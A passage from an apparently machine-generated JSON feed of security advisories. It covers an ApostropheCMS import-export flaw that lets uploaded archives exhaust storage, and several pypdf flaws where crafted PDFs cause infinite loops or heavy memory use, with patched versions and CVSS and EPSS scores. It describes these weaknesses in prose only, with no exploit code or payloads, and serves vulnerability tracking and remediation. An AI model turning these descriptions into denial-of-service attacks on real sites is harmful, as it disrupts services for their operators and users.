page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-jf5h-36mg-rp6x, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112955","cveId":"CVE-2026-112955","aliases":["GHSA-9g7p-m758-rp72"],"kind":"vulnerability","title":"ApostropheCMS: Import archives can exhaust server storage and deny service","summary":"Package: @apostrophecms/import-export, version 3.7.0.\n\nRelease tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).","detail":"## Review scope and evidence limits\n\nPackage: @apostrophecms/import-export, version 3.7.0.\n\nRelease tag reviewed: @apostrophecms/import-export@3.7.0, commit 9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce (September 30, 2026).\n\nCurrent main reviewed: 5ce3732be0ebdebb4db0f8ef160c81e8671157e6.\n\nThe importer, gzip extractor, import permission gate, and core permission implementation have no differences between that release tag and the reviewed main. This follow-up is a static remediation review. We have not repeated the original end-to-end reproductions against the latest release or tested a deployed site. Current exploitability and impact therefore still require maintainer validation; the observations below establish that the reported security checks remain absent in public source. The original emailed PDF contains the original reproduction material. Please refer to that existing private attachment.\n\n## Import archive extraction lacks resource quotas and failure cleanup\n\nThe current gzip extractor handles destination write errors and waits for write completion; those parts of the original report should no longer be treated as unchanged. The import routes also now require a logged-in user before big-upload processing, as covered by GHSA-86wm-68pq-5jwq.\n\nHowever, extract() still writes expanded archive entries without per-entry, aggregate decompressed-byte, or entry-count quotas. Archive parsing still precedes document-type authorization. If extraction or parsing fails, import() notifies and rethrows before the later storage.remove() call, with no unconditional cleanup around that lifecycle. The reported residual risk is excessive storage consumption and retained extraction/staging artifacts from authenticated imports. Handling a write error and requiring login do not enforce a storage budget.\n\nSuggested remediation: add configurable streaming quotas based on actual decompressed bytes, cap entries and allowed entry types, bound concurrent imports, and clean local and uploadfs artifacts on every failure. Retain continuation artifacts only under explicit ownership, expiry and total-storage limits.\n\nSource references:\n- [Gzip extractor](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/formats/gzip.js)\n- [Import lifecycle and cleanup](https://github.com/apostrophecms/apostrophe/blob/5ce3732be0ebdebb4db0f8ef160c81e8671157e6/packages/import-export/lib/methods/import.js)\n- [Related authentication fix](https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-86wm-68pq-5jwq)\n\n## Coordination\n\nVivek R / Winfunc\nOriginal reporting team: Mufeed VH / Winfunc\n\nAffected package ranges reported by GitHub:\n@apostrophecms/import-export: < 3.7.1","action":"GitHub lists first patched versions: @apostrophecms/import-export: 3.7.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:57:36.000Z","updatedAt":"2026-10-21T16:57:38.000Z","regions":["Global"],"vendor":null,"product":"@apostrophecms/import-export","stacks":["JavaScript packages (npm)","@apostrophecms/import-export","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-9g7p-m758-rp72","asOf":"2026-10-21T16:57:38.000Z"},"epss":{"probability":0.00525,"percentile":0.4425,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112955&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9g7p-m758-rp72","url":"https://github.com/advisories/GHSA-9g7p-m758-rp72","type":"primary","publishedAt":"2026-10-21T16:57:36.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9g7p-m758-rp72, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112955&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112955, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113792","cveId":"CVE-2026-113792","aliases":["GHSA-qfv9-64jg-mh7p"],"kind":"vulnerability","title":"pypdf: Possible infinite loop in PdfWriter.find_outline_item","summary":"An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires calling `find_outline_item` on a `PdfWriter`.\n\nThis has been fixed in [pypdf==6.20.1](https://github.com/py-pdf/pypdf/releases/tag/6.20.1).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires calling `find_outline_item` on a `PdfWriter`.\n\n### Patches\n\nThis has been fixed in [pypdf==6.20.1](https://github.com/py-pdf/pypdf/releases/tag/6.20.1).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4188](https://github.com/py-pdf/pypdf/pull/4188).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.20.1","action":"GitHub lists first patched versions: pypdf: 6.20.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:55:35.000Z","updatedAt":"2026-10-21T16:55:37.000Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-qfv9-64jg-mh7p","asOf":"2026-10-21T16:55:37.000Z"},"epss":{"probability":0.00466,"percentile":0.40055,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113792&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-qfv9-64jg-mh7p","url":"https://github.com/advisories/GHSA-qfv9-64jg-mh7p","type":"primary","publishedAt":"2026-10-21T16:55:35.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-qfv9-64jg-mh7p, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113792&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113792, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113793","cveId":"CVE-2026-113793","aliases":["GHSA-9mx8-4j7g-633p"],"kind":"vulnerability","title":"pypdf: Possible infinite loop when removing tree items","summary":"An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires removing an object from a tree, for example an outline item.\n\nThis has been fixed in [pypdf==6.20.1](https://github.com/py-pdf/pypdf/releases/tag/6.20.1).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires removing an object from a tree, for example an outline item.\n\n### Patches\n\nThis has been fixed in [pypdf==6.20.1](https://github.com/py-pdf/pypdf/releases/tag/6.20.1).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4188](https://github.com/py-pdf/pypdf/pull/4188).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.20.1","action":"GitHub lists first patched versions: pypdf: 6.20.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:55:10.000Z","updatedAt":"2026-10-21T16:55:12.000Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-9mx8-4j7g-633p","asOf":"2026-10-21T16:55:12.000Z"},"epss":{"probability":0.00466,"percentile":0.40056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113793&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9mx8-4j7g-633p","url":"https://github.com/advisories/GHSA-9mx8-4j7g-633p","type":"primary","publishedAt":"2026-10-21T16:55:10.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9mx8-4j7g-633p, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113793&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113793, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113794","cveId":"CVE-2026-113794","aliases":["GHSA-39mj-jf6j-2qj3"],"kind":"vulnerability","title":"pypdf: Possible infinite loop when hitting EOF in standard xref table","summary":"An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires an incomplete file which ends inside the xref table.\n\nThis has been fixed in [pypdf==6.20.0](https://github.com/py-pdf/pypdf/releases/tag/6.20.0).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires an incomplete file which ends inside the xref table.\n\n### Patches\n\nThis has been fixed in [pypdf==6.20.0](https://github.com/py-pdf/pypdf/releases/tag/6.20.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4170](https://github.com/py-pdf/pypdf/pull/4170).\n\n### Notes\n\nThis has been reported through both the secure channel and as a public issue at [#4169](https://github.com/py-pdf/pypdf/issues/4169).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.20.0","action":"GitHub lists first patched versions: pypdf: 6.20.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:54:44.000Z","updatedAt":"2026-10-21T16:54:46.000Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-39mj-jf6j-2qj3","asOf":"2026-10-21T16:54:46.000Z"},"epss":{"probability":0.00466,"percentile":0.40056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113794&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-39mj-jf6j-2qj3","url":"https://github.com/advisories/GHSA-39mj-jf6j-2qj3","type":"primary","publishedAt":"2026-10-21T16:54:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-39mj-jf6j-2qj3, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113794&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113794, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113795","cveId":"CVE-2026-113795","aliases":["GHSA-7mh2-4gg2-979f"],"kind":"vulnerability","title":"pypdf: Possible large memory usage for streams with multiple filters","summary":"An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires accessing any stream with a large amount of filters or multiple filters which pass around large amounts of data.\n\nThis has been fixed in [pypdf==6.20.0](https://github.com/py-pdf/pypdf/releases/tag/6.20.0).","detail":"### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires accessing any stream with a large amount of filters or multiple filters which pass around large amounts of data.\n\n### Patches\n\nThis has been fixed in [pypdf==6.20.0](https://github.com/py-pdf/pypdf/releases/tag/6.20.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#4173](https://github.com/py-pdf/pypdf/pull/4173).\n\nAffected package ranges reported by GitHub:\npypdf: < 6.20.0","action":"GitHub lists first patched versions: pypdf: 6.20.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T16:48:30.000Z","updatedAt":"2026-10-21T16:48:32.000Z","regions":["Global"],"vendor":null,"product":"pypdf","stacks":["Python packages (PyPI)","pypdf","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-7mh2-4gg2-979f","asOf":"2026-10-21T16:48:32.000Z"},"epss":{"probability":0.00466,"percentile":0.40056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113795&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-7mh2-4gg2-979f","url":"https://github.com/advisories/GHSA-7mh2-4gg2-979f","type":"primary","publishedAt":"2026-10-21T16:48:30.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-7mh2-4gg2-979f, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 